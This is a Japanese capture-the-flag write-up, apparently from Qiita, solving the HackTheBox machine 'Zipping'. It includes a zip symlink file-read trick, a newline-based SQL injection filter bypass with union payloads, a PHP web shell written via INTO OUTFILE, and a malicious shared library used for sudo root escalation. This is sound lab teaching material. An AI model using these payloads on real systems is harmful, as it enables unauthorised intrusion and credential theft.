0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HTB: Zipping Writeup

Posted at

ポートスキャン


PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP6mSkoF2+wARZhzEmi4RDFkpQx3gdzfggbgeI5qtcIseo7h1mcxH8UCPmw8Gx9+JsOjcNPBpHtp2deNZBzgKcA=
|   256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXXd7dM7wgVC+lrF0+ZIxKZlKdFhG2Caa9Uft/kLXDa
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.54 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80番ポート

ファジング

$ ffuf -u http://$trg/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80

                        [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 210ms]
uploads                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 206ms]
index.php               [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 4895ms]
.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4905ms]
shop                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 213ms]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 210ms]
upload.php              [Status: 200, Size: 5322, Words: 1882, Lines: 114, Duration: 208ms]

$ ffuf -u http://$trg/shop/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80

.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 219ms]
products.php            [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 233ms]
                        [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 254ms]
index.php               [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 240ms]
product.php             [Status: 200, Size: 15, Words: 3, Lines: 1, Duration: 216ms]
assets                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 210ms]
cart.php                [Status: 500, Size: 1, Words: 1, Lines: 2, Duration: 210ms]
home.php                [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 3707ms]

/upload.php

test.zipを用意し、アップロードするとThe unzipped file must have a .pdf extension.とのこと

$ echo test > test.txt                    
$ zip test.zip test.txt 
  adding: test.txt (stored 0%)

拡張子をpdfにしたファイルを含むpdf.zipを用意し、アップロードするとunzipされ、/uploadsに展開された

$ file test.pdf              
test.pdf: ASCII text

PayloadsAllTheThingsで調べたところ、CVE ZIP Symbolic Linkを発見
zip --symlinksでシンボリックリンクを維持してzipすることが出来る

$ ln -s /etc/passwd evil.pdf
$ zip --symlinks evil.zip evil.pdf
  adding: evil.pdf (stored 0%)

$ curl http://10.10.11.229/uploads/e6e29733cfa9cfefcb6593cfc0bdcc39/evil.pdf 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

/etc/apache2/sites-enabled/000-default.confを読み取りwebrootを確認し、判明しているphpファイルを見ていく

/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
functions.php
<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');
    }
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>

SQLi

product.phpでpreg_matchによるidのチェックを回避できればSQLiが行えそう
preg_matchは、改行(%0A)を追加することで回避できる

存在しないであろうid100を含む、0-9で終わる文字列

id=%0A+100%27+--%20-0

を試したところ、homeにリダイレクトせずにProduct does not exist!となったため、インジェクションが成功していると思われる

unionベース

unionベースに移行する為に、列の数を特定

複数のソースを見ると最低でも7個は列が存在する

id=%0A+100%27+union+select+null,null,null,null,null,null,null,null+--%20-0

で応答があったので列は8

現在の接続ユーザーであるrootの権限を確認

id=%0A+100%27+union+select+null,null,null,null,null,null,group_concat(grantee,':',privilege_type),null+from+information_schema.user_privileges;+--%20-0

FILE権限があるため、書き込み可能なディレクトリ(/dev/shmや/var/lib/mysql)にwebシェルを書き込む

id=%0A+100%27+union+select+null,null,null,null,null,null,"<?php+system($_REQUEST['cmd']);+?>",null+into+outfile+"/var/lib/mysql/shell.php";+--%20-0

そこからリバースシェルを獲得

権限昇格

sudoを確認

$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

stringsしたところ気になる表示

Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password: 
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour     Black   Gold    Silver
Amount     %-7d %-7d %-7d
Quality   Excelent Average Poor
Amount    %-9d %-7d %-4d
Exclusive Yes    No
Amount    %-4d   %-4d
Warranty  Yes    No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver): 
Quality (0: excelent, 1: average, 2: poor): 
Exclusivity (0: yes, 1: no): 
Warranty (0: yes, 1: no): 
Amount: 
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.

パスワードでした

$ sudo /usr/bin/stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 

バイナリをstraceし読み込んでいるsoと特定

$ strace ./stock         

openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so\300", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

悪意あるlibcounterをコンパイルし、読み込まれるディレクトリに置く

#include <stdlib.h>
__attribute__ ((__constructor__))
void evil(void){
    system("/bin/bash");
}

$ gcc libcounter.c -fPIC -shared -o ./libcounter.so

sudoで実行し、パスワードを入力すると、悪意あるsoが読み込まれ、evilが実行されてrootシェル獲得

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?